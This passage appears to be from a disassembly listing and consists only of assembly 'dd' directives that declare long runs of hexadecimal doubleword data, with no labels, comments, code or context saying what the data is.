		dd 4CDA102Eh, 4A02086h,	8B7D8F00h, 2D49439Eh, 0C6B0E815h
		dd 9112F829h, 811EE839h, 0A629CB0Eh, 0BC4DAA9h,	98B707F3h
		dd 0EE5D8F85h, 4039A58Dh, 0FE8D7D28h, 521844h, 0C36C5E9Ch
		dd 9D8C9A47h, 6089A000h, 6712B23Ch, 0F8B3025Ah,	258EBB72h
		dd 0E07F7C46h, 111888A4h, 19510FFEh, 0F2420091h, 0B1AC80ABh
		dd 0A2016A4Dh, 0C1298338h, 0D1F5C89Ch, 0EE610821h, 4082C412h
		dd 966D9Eh, 0C02A1287h,	5BBD3099h, 8B663202h, 48E20862h
		dd 5C25A320h, 0AA000678h, 0D928230Dh, 0B3094149h, 10572FABh
		dd 8A10CC14h, 225DB48Fh, 8BEC2F04h, 18822D48h, 106D1929h
		dd 0C3063C15h, 0A799E831h, 0E2ADCF8h, 1913E430h, 0E75922h
		dd 109AB011h, 66D666Fh,	0C00F1F0h, 68B73B1Dh, 98F28F84h
		dd 222D4318h, 15F814B5h, 0E9203451h, 2B265410h,	931F1E22h
		dd 0C4137FD4h, 644B00BBh, 2C8BB747h, 0A5861099h, 0E568EB53h
		dd 0F488C40Ch, 37D9C064h, 0EDDB16A5h, 1224A300h, 0D9C481BFh
		dd 0FBB700ABh, 923C907Ah, 0BE2C7215h, 11271EEh,	5601B027h
		dd 8048F123h, 0AEF4012Ah, 3EDE217Ah, 2EF0CBEBh,	9450954Eh
		dd 38425DACh, 83481922h, 7CA010C4h, 0D015F415h,	4A3E8F00h
		dd 0E9118DEAh, 6960800h, 0D68CAE36h, 0C1D200BDh, 0FB10B695h
		dd 0CD0057E7h, 0E101FCAAh, 1759493Dh, 0EC3EB1h,	0D2E6B212h
		dd 0F0F4D0F8h, 0B714DA3Eh, 1CB5B112h, 6C7C9840h, 25F593h
		dd 8C0FA698h, 39FC99ECh, 0D75A0714h, 28FD10A4h,	1684D188h
		dd 5890C58Bh, 0A415FE8Fh, 0F6B000C0h, 0A794F16Dh, 0C300704Eh
		dd 0C99F762Eh, 0F7E6D1h, 0BC323C91h, 2CE3BE71h,	313F3FEh
		dd 0C0209A74h, 584A48A7h, 0AE004DC2h, 1966A310h, 0E6006922h
		dd 0EAEFC5DEh, 0FCB18605h, 441324E7h, 0B0EC461Ch, 22FC1153h
		dd 7C0558C6h, 78679D19h, 0A07C3003h, 6F84C288h,	8E86C11Eh
		dd 0E43119D1h, 82F1591Ch, 92E0B1E4h, 8FC24080h,	2B1C5600h
		dd 8848E887h, 69270143h, 161FFBA8h, 14F45093h, 411286E7h
		dd 0F4189C53h, 44EA9F70h, 0B7459312h, 0C04B9EF0h, 732B2D89h
		dd 0BC58D7A2h, 4E808838h, 8BC29958h, 0A009B72h,	6AB033F7h
		dd 6258FC69h, 0AFD4A8ACh, 3B76E700h, 836D00C2h,	0F1E28975h
		dd 7E0790B0h, 0A3DB6B86h
		dd 0F730DC0h, 342C00CFh, 0C0487228h, 9CF0E674h,	8979C460h
		dd 0F8061B1Dh, 0BEF20016h, 0EF50178Dh, 3C072988h, 2BD36911h
		dd 4184C110h, 78A9559Fh, 1A070AD1h, 243904C4h, 0E8A84772h
		dd 4B41608h, 23274204h,	1A05A476h, 7F2C889Ah, 742E9C90h
		dd 16051CD6h, 0A021CD90h, 0F411259Ah, 0BBC05059h, 50007EFCh
		dd 0FAE3C3BAh, 0C9476Ah, 2B8DDA90h, 3104FDD6h, 2CC6D924h
		dd 9BDFF863h, 0B85900D2h, 0B62345E8h, 0AE00AD68h, 1EE9A130h
		dd 12B58022h, 2DBBB74h,	0BD50913Ch, 0E2892A26h,	0DE3C1292h
		dd 303C13B3h, 4E03EC0Ch, 8CF92300h, 4325D902h, 0A94200A5h
		dd 7C7BF319h, 0F607BD88h, 56028BF9h, 0BEC13670h, 0E8210565h
		dd 3146C7AEh, 114D0594h, 99140D95h, 0C1A435DCh,	7FE70009h
		dd 84D4B144h, 0C1F7D40Ah, 93DD554h, 0C8B325EAh,	960EF910h
		dd 0A064E635h, 2FAD92D1h, 0DC4C0FD8h, 0C302456Eh, 9C60B8B3h
		dd 0E38047C2h, 0EFAD00CBh, 0BF5E3130h, 0B491429Fh, 2FE0BD0Eh
		dd 61C96CE1h, 2B4800BCh, 659C5E34h, 0EE5D2A15h,	3F711064h
		dd 7F904488h, 8B083421h, 0E38F80B7h, 0D12F2E2Bh, 1CD0F448h
		dd 0F0E9B286h, 0C7C48F14h, 9F303A93h, 0FE256A4h, 0D5F2EEC8h
		dd 0C178F58Ch, 0A1DC3D4Ch, 0E4CA4915h, 9490EEB4h, 98C28D10h
		dd 302CE119h, 6740DE74h, 48CF4818h, 28C00293h, 3464B405h
		dd 43000C90h, 0EBAB5C1h, 11E63CA2h, 26BCB0CBh, 841E2C44h
		dd 0BE5BF0Fh, 0F8D49149h, 0CA7105FFh, 0C1440B96h, 0D84B3826h
		dd 4891758Fh, 2D000E91h, 2FF3492Eh, 0FE226964h,	0BC0A0012h
		dd 0E36AC6E2h, 4B01B02Eh, 500FDD55h, 62FCDB51h,	0A24A09FCh
		dd 0BC017928h, 0C33C1605h, 0D21A8908h, 0AC2C3C13h, 862838C8h
		dd 0A4B312B8h, 0FFD88853h, 880A9F02h, 60718FBCh, 86A1DB14h
		dd 2A116D20h, 985BF4h, 362A7E5Eh, 0CBC9D128h, 0A23BE600h
		dd 0F32DDCCh, 94B14CB9h, 88BE5B10h, 401844A3h, 339293F4h
		dd 0E79875BFh, 0AC9060E2h, 0E2C941Dh, 90236586h, 0E5CF1BD9h
		dd 5528CC2Eh, 0CD186113h, 21704036h, 6111BD27h,	0AB991275h
		dd 0F04C052Bh, 6494115Dh, 697E72h, 54E4447Dh, 1A4A04C9h
		dd 990E08E6h, 92DF38B7h, 0DC6074DDh, 5EF04462h,	0BF8D8604h
		dd 6088FBD2h, 2DF6003Ch, 69DCADD8h, 0BF07E0CFh,	25F80516h
		dd 9BC00089h, 6A98A3FAh, 40C0FE60h, 0E10E912Fh,	5585C98h
		dd 46B9C8F0h, 0CC90798Eh, 9098F250h, 1628B058h,	982280C2h
		dd 4DD8A0F4h, 86F6BFh, 0D1AA7432h, 0F81B41EBh, 0F0A658B8h
		dd 442244B2h, 80E96206h, 0CA112BE1h, 0BFB32D10h, 0E03639C0h
		dd 9863B635h, 88C4001Bh, 0A9E3561Ah, 0EBE292EFh, 7422CCB2h
		dd 3E1800B1h, 2BDF2C79h, 4000F61Eh, 107B177Dh, 1DE4B67h
		dd 76AECC06h, 206C60C5h, 0B602CBEDh, 1062BBA1h,	0B12CE0A4h
		dd 7B81C1B5h, 2C2FED77h, 96A62154h, 0CF50216Fh,	8286140Fh
		dd 2FA0039h, 0CC9E4392h, 0C909A7Dh, 58094826h, 5E242D00h
		dd 989F932Bh, 0BF144448h, 4761500h, 8EF607F9h, 4843F02Ch
		dd 1B88F80Dh, 0FE08DB80h, 224CA3h, 7DA2A48Eh, 4236F29Dh
		dd 1841DA00h, 4A54F339h, 0DCC0003Fh, 0A87CB1CBh, 0E73CFA27h
		dd 434907F6h, 0F0715762h, 68912B4Ah, 971A0B17h,	324190Eh
		dd 0AA3CC214h, 8848099h, 7F13448Bh, 0C8AA3B09h,	40800C6Eh
		dd 4E782538h, 50573C30h, 29CC1100h, 0BC48AEBAh,	0BFBE07E7h
		dd 0EB211A8Eh, 4805802h, 4C6409h, 0FD8531FEh, 0C06D68F8h
		dd 0DA08D500h, 0D64F9A55h, 44989090h, 0E0B1B35Dh, 61054E0Fh
		dd 0D8BD1FF4h, 0E09BE8h, 81D7B5CDh, 759A9C7Ch, 0F8B0CE00h
		dd 0A9EBDCE1h, 420B0FC7h, 0C925249Dh, 0CC76C17Ah, 442DF1h
		dd 2F475EBAh, 91AEB90h,	84748F64h, 0BEA70C82h, 8608AD11h
		dd 9FA9FC05h, 709017EFh, 0E8692B5Dh, 14F74AC8h,	52C0780Ch
		dd 63662116h, 0C1863Dh,	0B0D04112h, 2CF33817h, 6BEC6F15h
		dd 6BB05C0Ah, 40135C02h, 48210A9h, 0E0532BF1h, 4E89F889h
		dd 0B3588188h, 0D2939888h, 0B117826h, 0E021F815h, 25379B01h
		dd 7BD19E34h, 47133A00h, 40794A5h, 5E5F4030h, 0C808F26Fh
		dd 91788111h, 0CC4E47D9h, 421973E5h, 0DDB03BF7h, 588D70Ch
		dd 0BCF15835h, 2751C09Ch, 186CFCD9h, 9631B48h, 84867940h
		dd 85BA1684h, 90B80864h, 64A4B344h, 0FAF8B5h, 3A2CD136h
		dd 0A3E87F53h, 28557A00h, 80698766h, 4CF75F7h, 0F126E5D2h
		dd 6718F0B6h, 0EB0ABC00h, 0C74DE29Eh, 0B5480076h, 0E0552224h
		dd 80242E65h, 0FB100439h, 0E48CA5C8h, 788E49BFh, 0E0040110h
		dd 0DE76A7C2h, 3A16E841h, 34F74505h, 20C19752h,	0FE01B63Eh
		dd 0AFBC500Ah, 7000A140h, 0F12ED65Ch, 5892F95Dh, 9CC4B829h
		dd 0C1B4E05Ah, 16D64486h, 48D29728h, 0AE876096h, 68807CD8h
		dd 1A7A8EEh, 0CFBF5BC1h, 22A927F2h, 0BA988814h,	44529C96h
		dd 4A6F4878h, 0E980F012h, 0B3B16A67h, 2C1F01DCh, 467320DBh
		dd 74C47485h, 15CAF709h, 90946496h, 257E2130h, 424C223Ch
		dd 66802191h, 0E10129C2h, 9C9A17CCh, 98883382h,	2D007670h
		dd 2863DA94h, 0E0E10991h, 9C19C2DBh, 3DAC7058h,	0ED904CB3h
		dd 94C06BCAh, 8A0FCCF8h, 67C07249h, 0DA90BFE3h,	370E3Dh
		dd 1B9ED44h, 7FA54D30h,	0BD150053h, 20D2E607h, 2B4BC599h
		dd 904BEC0Fh, 0C2897B88h, 2DA4C886h, 42601C3h, 0EE431FF5h
		dd 1E78882Bh, 21FE134Fh, 0D47437A4h, 8E002A75h,	52934451h
		dd 4C3E7C5h, 0D3096B87h, 4D6CB2C1h, 1C3C11C0h, 4738F82Eh
		dd 0D330C07Eh, 7A150859h, 225047A2h, 9EE80481h,	0D2AE17C8h
		dd 2020D158h, 799F46h, 29FFEE40h, 5399E333h, 0CBF86952h
		dd 8C9410F3h, 0D6D70B86h, 0D493F1BBh, 0B7CDA7F0h, 8EA4C605h
		dd 0C409AE55h, 5C6444D1h, 0BEC810CFh, 3844A8Fh,	0CF2CFF44h
		dd 0F0C6129h, 9DAC3Dh, 0F1AFE625h, 0DD0088E3h, 12521883h
		dd 2A8224Fh, 26AABFE1h,	0E4801B1Ch, 0BBED7581h,	77009CB0h
		dd 832D24BAh, 328FB46h,	14CC5C3Ch, 2000CF68h, 3685E11Eh
		dd 502B48C9h, 860FF080h, 2FD5A845h, 0A0BD32FDh,	60027827h
		dd 8F20B597h, 71C515EEh, 2A44B0E0h, 24DCE8B6h, 1150E640h
		dd 14F8240Fh, 0E7A23A40h, 31A7C8Ah, 1F214E05h, 0E1D9D316h
		dd 5A5870C7h, 0D0102742h, 98EC2E4Ch, 0B0AC501Eh, 0DB281027h
		dd 0C44A3A65h, 1B00073h, 8A45B67Dh, 1B78F96Fh, 34076326h
		dd 2355B802h, 3CCC4F1h,	4421A7F6h, 0EB889ACAh, 0E3058143h
		dd 0CBDF701Dh, 64178808h, 0ECC85374h, 28D1009Fh, 0C3A4978Ah
		dd 11F8745Dh, 9CA2460Ah, 400946Ah, 1CE12825h, 777A7D0Eh
		dd 49EA38F6h, 0A9C5AC80h, 1BD84ADDh, 0E1764800h, 0FA0C012Dh
		dd 0A0B8CAh, 4BCC1632h,	3507528Ch, 628C6950h, 0E1DA4486h
		dd 78CA890Bh, 0CC83087Ah, 0C6EE9E60h, 8E64A97h,	0B317C234h
		dd 8C3DC098h, 602D1F14h, 27F58398h, 7226B2BFh, 0D98F2780h
		dd 128CE8B8h, 0DDA56400h, 0ECB33492h, 0E3A801B8h, 0C88EBAA1h
		dd 840805BBh, 93168A85h, 785DE024h, 0AC078662h,	4BE25711h
		dd 632248F1h, 4058AC70h, 9E31C226h, 78F49124h, 3E0C434h
		dd 0AB48C7A6h, 8ED033ADh, 3F07FC63h, 6CF7FA18h,	0EE0E24D1h
		dd 88092430h, 1041F4E1h, 0CFF3E0h, 0BE8F5B06h, 0FB392DF8h
		dd 0CAECC900h, 2634849h, 2C0A3E18h, 0A890F32Dh,	0BF142166h
		dd 8490119Bh, 0C244B5A8h, 0A045F9Fh, 8CCCD8Fh, 3410F90Bh
		dd 3F0965FAh, 80E38552h
		dd 0C66449B4h, 0BAE126CAh, 0C17E96A0h, 63C3183Ch, 2E991628h
		dd 6154A030h, 77D22518h, 40C02424h, 0AA4724B4h,	0AF7BB1h
		dd 670720EDh, 7F4E10A4h, 10743F48h, 6888BCE3h, 0DB708BBAh
		dd 2B5C012Ah, 2608B9BDh, 10F8D9C6h, 0DE7D3FC9h,	61982E00h
		dd 3D792091h, 0C30A71EAh, 0DC0FC1BFh, 0C9178826h, 0E534E8D1h
		dd 9C17802Ch, 0D098991Bh, 0B1001179h, 6956184Fh, 30E17B92h
		dd 542127D8h, 89608C6Ah, 0BE5C2D46h, 0FA1A243Eh, 225D60F4h
		dd 149E9EBFh, 0E8D0F497h, 7769256h, 72D822FBh, 0C118905Bh
		dd 0C4400B2Bh, 3A274226h, 0E1403Dh, 2E5382D2h, 23FDFFBAh
		dd 60B32C24h, 0D737DD40h, 5719006Bh, 35A87C30h,	3800C285h
		dd 0F30D74B6h, 0C92A408Fh, 321459h, 0A300F446h,	0E75DF5D8h
		dd 75D3DF5Ah, 45CA0261h, 0D1B17483h, 0CC44A494h, 46374A15h
		dd 5913F830h, 0A0E36F00h, 59B9CB92h, 0B2B025B4h, 80F8F0A5h
		dd 6052A675h, 0F0056A4Bh, 84D27388h, 1F19207Ch,	7074669h
		dd 1AE52351h, 421C80B0h, 0AD4002F0h, 8D48EA0Eh,	0FD863860h
		dd 7EDF0B00h, 0C8020AB7h, 74945815h, 0A183C286h, 420B0171h
		dd 0EE3E2135h, 3CF0BED8h, 2D000B20h, 13FDE08Bh,	1E37D46h
		dd 29534CCBh, 0E849D2F3h, 0F804C1A3h, 8E2B2D70h, 2D78CA9h
		dd 0BD509524h, 0A821BC24h, 880208C3h, 0D31D8651h, 7B0098B2h
		dd 0B8C0288Fh, 5225A47h, 0D223BA88h, 90F1179Ch,	14CAB312h
		dd 0B9E00431h, 8ACC083Dh, 11EEFC66h, 0ADD25C00h, 8A78A9Ch
		dd 226C9A1Ah, 2D1320A2h, 0A090D880h, 0F5BF78h, 0B49C5D5Bh
		dd 0F7260A4Ah, 0A1A08100h, 5088596Dh, 0CC84043Ch, 0E246152Bh
		dd 90CD2188h, 3FCC8151h, 1DF8A6D2h, 8108147Dh, 730B08F9h
		dd 0AC61C4DFh, 84D80CB5h, 2C0B844h, 95FCBF6Bh, 0E982E7EAh
		dd 60E91CA2h, 4064F216h, 8050E448h, 131DCF0h, 0EC820177h
		dd 0A7E2206Dh, 0DCB872B4h, 0D143A428h, 0A098722Dh, 0AA4071F8h
		dd 42C494A9h, 24AB3B76h, 0FC2E0CC1h, 9B519109h,	5593E45Ch
		dd 6F390B05h, 0AC9285D3h, 14AE193Eh, 0DB03FCB2h, 5026994Bh
		dd 411539C8h, 212245Ch,	890A6DB6h, 2CCD18Bh, 0C2DBEBB3h
		dd 0D42E6051h, 80CA3816h, 0C7E39F0Eh, 0A9BE5660h, 853D1B5Fh
		dd 9168A5BFh, 8F10CC7Ch, 0B912467Dh, 0ACD0F904h, 0F908237h
		dd 396F0C34h, 81E643E7h, 5AFCDFEh, 0F42A2481h, 96084878h
		dd 71977226h, 1D8D949Ch, 4077FB67h, 0AFC6842h, 0A81D95D6h
		dd 0F3C0879Bh, 9731DAECh, 0DC51073Ch, 0B3F2BE3Ah, 0E825DD1Ah
		dd 48846416h, 1075C0E8h, 100E2B1Eh, 0EC5012E6h,	30DB00F7h
		dd 0F974C936h, 0E30C6921h, 89C28E15h, 58417D6Fh, 0CB103C29h
		dd 444C20BEh, 8B581A27h, 400A9FDCh, 941D0C1Dh, 0E0A8C022h
		dd 0F8F02319h, 661980E9h, 0E856605Ah, 0C8F40FFAh, 0F9C2BB9Ah
		dd 9881B0F5h, 78B88B15h, 0DC2C0C8h, 9263CF19h, 25DA2214h
		dd 3C2A3B28h, 0A85ACE29h, 5200BD11h, 7031BCA0h,	30FC6F88h
		dd 0B799ED0Ch, 84DE48BDh, 4CB53810h, 0E8C8F825h, 930011F7h
		dd 3FA5B7ABh, 5C0E95Ch,	58DC30A9h, 0BA5B8060h, 0F515746Ch
		dd 21C0E3DAh, 0E91237h,	0DDF3437Ch, 0C8008F1Dh,	8D011B2Bh
		dd 8172DAh, 0BA53CBC6h,	0E72D6DCEh, 0EC8BF024h,	70447100h
		dd 57F84D1h, 0BB89E992h, 5BB60EB0h, 4F010969h, 0E0D6C24Eh
		dd 55055122h, 653B7FE5h, 0FC4F0CD3h, 8600225Eh,	0E5B589E6h
		dd 2BB40A6Fh, 0A07C8EC7h, 88274BA0h, 590028F4h,	89A23D2Bh
		dd 2603878Dh, 40A09C2Dh, 0FA6005FFh, 160C9906h,	81E0B6BDh
		dd 0B820F7BCh, 28670D90h, 40187CC3h, 4337997Ch,	80163889h
		dd 0CF4404BCh, 0C0427F22h, 31801CC5h, 0F3E17CAAh, 0F2DB001Bh
		dd 381969A7h, 9A1D6E02h, 53AC42C8h, 86600C2Ch, 9E1294h
		dd 0BA8553C1h, 968BBFEEh, 0D9708900h, 41FE67B3h, 4A3C90B1h
		dd 9B8090F3h, 0A69082E5h, 84C2BD26h, 22609595h,	9080506Ah
		dd 4FB4086h, 95F1841Fh,	96D085D9h, 49345C40h, 6D3809F9h
		dd 0B40CDF55h, 5C071419h, 9C70CD73h, 64AE2180h,	0C1D200CBh
		dd 2F317FEEh, 4C006109h, 44149CAh, 236E65h, 289F4ACCh
		dd 0F1F0F745h, 0BF33DA04h, 0B84C83h, 4B865E80h,	38955D79h
		dd 3690708h, 86E0C31Bh,	280F5343h, 0A0CE57D5h, 0A49EA8Bh
		dd 18D960BEh, 0E975ED0h, 0E41CF2F8h, 9E45572Eh,	0F006215Fh
		dd 0C917F6h, 3EBFAED3h,	6870ACCh, 2F720700h, 285EA994h
		dd 56470436h, 0C17E19E6h, 2B13C544h, 6D8AB460h,	78243B4Fh
		dd 0FB159900h, 0B63ADF5h, 0B65B8C01h, 0F40EDFD0h, 1601F1C5h
		dd 48492F49h, 114D9E1h,	7EA44A2Eh, 0C975E872h, 0F002E9ECh
		dd 0E0E83F5Ah, 93A0E0DCh, 4F7736Fh, 0BC87D0BEh,	0F58F82CEh
		dd 2CEE0C80h, 9EE4028Bh, 86BB2300h, 5407DE56h, 512A0BB2h
		dd 0C486E32h, 4504492Eh, 0FB8086E8h, 0E2A91CC8h, 0EAD8003Eh
		dd 0BC2FF164h, 0D10277C8h, 807C41E0h, 3D84F56Ch, 9EBCC0E4h
		dd 0C7014B38h, 70834EB9h, 8C20F425h, 807C9457h,	18BA912Eh
		dd 0E9C70A95h, 5C00792h, 186C9FFh, 7E37884Ah, 308FD2F0h
		dd 58008D20h, 772CAF5h,	7942CD4h, 8B2869F1h, 33C2820Fh
		dd 0A6404074h, 24CDC9D1h, 1CD55440h, 7FE98B7Bh,	0F62C815Fh
		dd 8E6479E6h, 0C92609FDh, 6909CC10h, 0BF097D76h, 0F4BC6998h
		dd 0A800A022h, 72CFC7F8h, 0F716C03Dh, 1020E38Bh, 487B998h
		dd 9C2CF253h, 0E04C92CAh, 66A28960h, 23392801h,	2E29C447h
		dd 2BDC5DDDh, 0D0F74F49h, 9C789404h, 974FFEh, 5A994C34h
		dd 0C70B0967h, 74C0BAA9h, 98951B81h, 58FDFE5Ch,	18762005h
		dd 91073515h, 3AF0F7E1h, 81110460h, 26694BAEh, 980C73FEh
		dd 0E01882Ch, 801348CFh, 409C5C7Bh, 0DCC05143h,	7A509820h
		dd 14B960h, 0BAD66E3Ch,	0FC714CE6h, 0D010470Fh,	414B60C6h
		dd 2F545919h, 0E8006DF0h, 0C94069CCh, 0C9C81720h, 24E44DB9h
		dd 1E876905h, 0D482CA08h, 48B8E68Fh, 49DF2098h,	48E9B343h
		dd 73C29F3h, 6BA99FB2h,	8B7D7BE0h, 9A6903A6h, 0D174C5A0h
		dd 0B6423811h, 0FF28204Bh, 5F0195F4h, 8C65582Ah, 14309F08h
		dd 209A4F05h, 7F2E33E0h, 0EA404A1Dh, 236500BDh,	47C2059h
		dd 1CC1161Ah, 22D41D8Dh, 0E0F268A8h, 0C9FFF330h, 28A3DACh
		dd 1DA6EBB0h, 58649216h, 0D2518F00h, 61E8697Fh,	9F3E0915h
		dd 4C788606h, 0B2E15715h, 18992CF8h, 7BFB8758h,	0C5EA0047h
		dd 0A06CD807h, 0AE0AA1D2h, 0B8389912h, 48B4B344h, 0D4210023h
		dd 0AF56AB2Bh, 0B72E712Ah, 4B01A430h, 0FEBE4455h, 0E30F647Dh
		dd 0A240AD19h, 0BB73B829h, 0A1F24600h, 61D94A4Bh, 4D5D023Ch
		dd 5E346360h, 6C112CF1h, 0A196160Ch, 9C27C279h,	0C8483919h
		dd 98D051F5h, 462F0068h, 0D27CD51Fh, 0BF04E1DFh, 0B308A793h
		dd 7D1E5CACh, 321C3F3Bh, 1269967Bh, 48ACB254h, 45F5202Ch
		dd 7C273E60h, 0D0AEA2B0h, 2E3F0A77h, 0AC2503h, 8A1A5BB8h
		dd 1F02A493h, 16F0AA3Bh, 0F04078B1h, 634E5F44h,	0B9A825ECh
		dd 800E9D5h, 82E735EBh,	5019B1h, 7F0D6449h, 3D7656E8h
		dd 28B9B39h, 0CF07FC4Ah, 8660C0E3h, 40249912h, 88F73EE6h
		dd 459EC200h, 9FC6F22Dh, 1214A116h, 0BCBE1F10h,	0ADB7AC00h
		dd 36A4DB9Fh, 0ACCB58CDh, 0E212A907h, 9A7A8Ch, 379AB17Ah
		dd 2B484BC9h, 90977028h, 7C12C5C8h, 1C80B5E6h, 0AFA441F4h
		dd 5A004B73h, 0E37804BEh, 30D7B0AEh, 65391BF1h,	0B71359BAh
		dd 74706321h, 602D87B1h
		dd 0F4B8111Fh, 3C13B427h, 0DCB29417h, 0F1C0DC4Dh, 0A9CD4B8Bh
		dd 0CF20551Dh, 9605803Fh, 38CE1224h, 0B67C1F78h, 0A8534027h
		dd 0B864A293h, 0D7B830E1h, 305CB900h, 0AF79EE16h, 4C48C04Fh
		dd 0D68C85D2h, 48A4A00h, 79690B6Bh, 612C6EB2h, 4E29CDA1h
		dd 19799152h, 8B87533Dh, 70C6A83Ah, 0F7F6FFE9h,	443C718h
		dd 18BD0D68h, 312E54C5h, 940021AFh, 0EC7A51B9h,	1FB88971h
		dd 7C450F86h, 4872CC80h, 8F17C568h, 0CE58A0DEh,	88716681h
		dd 2B007041h, 73EC7EA3h, 355D07Dh, 6B3CD9AAh, 4CB005F9h
		dd 0F715CC52h, 0C394519Dh, 90CBFC6Dh, 7D5296h, 2888493Ch
		dd 93570C30h, 0C203427Ch, 0A469AFF5h, 0BE5DE054h, 14D7019Bh
		dd 9A37A9BDh, 6110D3D5h, 25889CF6h, 4D351880h, 0EABD40EFh
		dd 0A04A07BEh, 0E01D4672h, 8C9C7CEh, 1B537818h,	77DFB631h
		dd 14E92632h, 8A360044h, 0F1FA83EEh, 0F7656F0Eh, 0BC4DAACCh
		dd 51BC6C80h, 0FAB16EEAh, 240E0A7Dh, 0BF8C6854h, 98B3B495h
		dd 82221B39h, 41409E30h, 31FC0F2h, 202E25A0h, 88D1D834h
		dd 213ED448h, 8E4BE316h, 0C953E705h, 784D2404h,	0E9DB4943h
		dd 0B1FDDCA0h, 309D5900h, 2355D199h, 7249258h, 350B8F51h
		dd 4394CAA4h, 811B30FBh, 0E029AF37h, 0CA4B656Eh, 0BEA4B5B9h
		dd 0CE00163Dh, 78AC4998h, 0D06FF96Eh, 0A7A86131h, 0B0D1CF22h
		dd 2C0C30h, 0D4CDEC08h,	0A9F874E8h, 5A1B5B0Ah, 38117C65h
		dd 96462B00h, 1D266614h, 0AB98D3FDh, 4D7CB168h,	5B948105h
		dd 0B421EFCCh, 8057DE37h, 0F49BC280h, 5510C6C5h, 7A00A95Ch
		dd 362FF2B4h, 91B7FDA2h, 511B0518h, 0CCC8217Dh,	5B26D25Ch
		dd 33FEF851h, 0D316B1Fh, 0AF3C22C5h, 79F3C110h,	55EE000Bh
		dd 7766D1E6h, 9E1E6B41h, 8E143B5Bh, 53F30008h, 890EEE36h
		dd 0C12100BEh, 5E995EFh, 1639F6AEh, 9FC80009h, 0A3776312h
		dd 9AFB00F7h, 41B3C3B6h, 0F1005A3Ch, 70C24595h,	5D319Bh
		dd 48453D1h, 6CFB9DDh, 256A3500h, 462D21B3h, 31E66065h
		dd 0D96FF60Fh, 911DA60h, 1CAAD361h, 6A1D59h, 1CB104Fh
		dd 4D5877A0h, 0C150042h, 83D444E4h, 2793016Ch, 0FD49FE28h
		dd 26FBE004h, 0E41511C5h, 0DCF51400h, 396C6639h, 0F38032A8h
		dd 0D1C9F984h, 0E4C0BD10h, 6744CF08h, 0F889C6D7h, 0EF010898h
		dd 2633B720h, 99F8CA58h, 757BABh, 0F6F5DF11h, 0C4E0CF0Eh
		dd 30963E31h, 90C87778h, 312F006Bh, 0A92B3280h,	0D9E05714h
		dd 83BE0E00h, 0CE561C52h, 4DBA00C6h, 956E32E3h,	6C0F659Ah
		dd 0C3EB04A7h, 0A8E514ECh, 5F945Bh, 7719344Ch, 449837F1h
		dd 713C6D30h, 0C046DFF8h, 8D2419A8h, 4300D626h,	21F788BBh
		dd 55F9F0h, 165279A1h, 0D1D30B18h, 1E6DC800h, 0F6EF28E6h
		dd 6E41CBDBh, 798D0F00h, 0B7186CE3h, 75A8433Eh,	0D5AC29CEh
		dd 51BD0DF0h, 0DECCE030h, 0C832350Eh, 4C189F36h, 3D401C19h
		dd 0B784E738h, 0C7CF3EBFh, 0EEC6C046h, 0D224DF35h, 0F38618E3h
		dd 3281E25Bh, 0FD413DBCh, 0DDF68EC0h, 0E0847C01h, 0A0AF65C3h
		dd 415BC50h, 63410001h,	0A76E4F56h, 1005D4ECh, 35C4DECFh
		dd 0C3C08C5Ch, 1E6C42D5h, 3AD200D6h, 2DE3CEBDh,	0E401029Eh
		dd 6DC9B729h, 0A3DA04B2h, 2CECD2E8h, 766799h, 240FB8C9h
		dd 7028CCC8h, 0D0007C55h, 2216D3C4h, 0F85D2D0Dh, 5FD8180Eh
		dd 0DEE6214Dh, 399C49C0h, 9EC304h, 69384959h, 0CC22E0A6h
		dd 0F200FC78h, 6134121Fh, 30158C64h, 6D39ED11h,	409299F4h
		dd 691A1633h, 97F6A179h, 0DADF198Eh, 3B03D220h,	6A31D821h
		dd 0F8DD8148h, 1171D710h, 31CA6705h, 0FC62C9F5h, 0A3DC20E0h
		dd 0F0062BEh, 4186428Dh, 288BD16h, 8F64601Ah, 4CA41015h
		dd 806034F7h, 52BEDF02h, 5A28ECE6h, 0C8DE3714h,	0C071C799h
		dd 0D31104C5h, 83B4F551h, 5EDAC231h, 6B290050h,	35F4DC66h
		dd 616FD99Ch, 1EED80A9h, 74BE5456h, 0E5F348D4h,	69889C51h
		dd 0C38044BCh, 5E6D25FDh, 273B0064h, 0D6C147A0h, 9F03F7D8h
		dd 57B8C828h, 35FEA0C6h, 0ED120023h, 8DC40B06h,	4C0BFC1Fh
		dd 0C16E22h, 66492D4Ch,	0C90E3D21h, 926C1F7Dh, 9831BE72h
		dd 105B55E8h, 0C2EBDEF5h, 3CD04ED1h, 0A1FE9D60h, 1CBF3700h
		dd 2B677F5Bh, 0C45518FBh, 87E3F9CDh, 63AD7D17h,	9F144700h
		dd 71666ED2h, 0D8224852h, 0D947BC18h, 88035623h, 0B3D90FFBh
		dd 612AFA83h, 9180730Ch, 8E04165h, 0B8AA6F46h, 0DCF5B041h
		dd 0DF18AE36h, 0C5A150CCh, 0E421CED6h, 28DEA9C0h, 0B30C17C4h
		dd 80D98447h, 0CD2B4012h, 72795004h, 1C822797h,	82D422E5h
		dd 60859FE0h, 4EA8751Fh, 433C3C0h, 1CBEA6EAh, 9471D25Dh
		dd 0C903A8FBh, 2D5FF014h, 30C81FEAh, 0AD00EC87h, 79060396h
		dd 78B76E80h, 1D07010Ah, 0AB512FB5h, 4C54ECC2h,	79C613B0h
		dd 41CADEh, 8F0FC945h, 0FCE904ADh, 0E080102h, 68263A3Eh
		dd 3835E638h, 3806CF6h,	0AB4178CCh, 0F5006E7Ah,	0B2AF277Eh
		dd 80BCF0h, 52BA15FCh, 0D709292Ah, 12F61701h, 58A0F267h
		dd 0A8D2B830h, 0EADEC698h, 0A8DD4ECBh, 0CF910F1Bh, 9DF08034h
		dd 0C0D4C456h, 122E8829h, 0BD2A03E9h, 0F400E04Ah, 0D2BA7DF9h
		dd 4899FD73h, 900C40C6h, 46B0F234h, 0D4A131FAh,	5DF311FAh
		dd 6F300215h, 0F8645BF2h, 4CE2CFF0h, 571EC1F2h,	307E280Eh
		dd 0E104900Ah, 0E4E8302Fh, 78835C49h, 0D2D79E00h, 579D680Bh
		dd 0DDBB2C1Ah, 0EC360128h, 40816252h, 0EFC3DEF8h, 9691E491h
		dd 780CCC09h, 217C0413h, 873C0806h, 0FE11DCC4h,	5D2F1CCDh
		dd 3500FD60h, 13C7EB63h, 5099BCDBh, 98735600h, 188107Ah
		dd 0BFBB53C6h, 52473FC1h, 3080E684h, 395833FCh,	26E2FE03h
		dd 0C470CFC8h, 81C7C4CCh, 0E49117Ah, 58005023h,	48FD2F1Ch
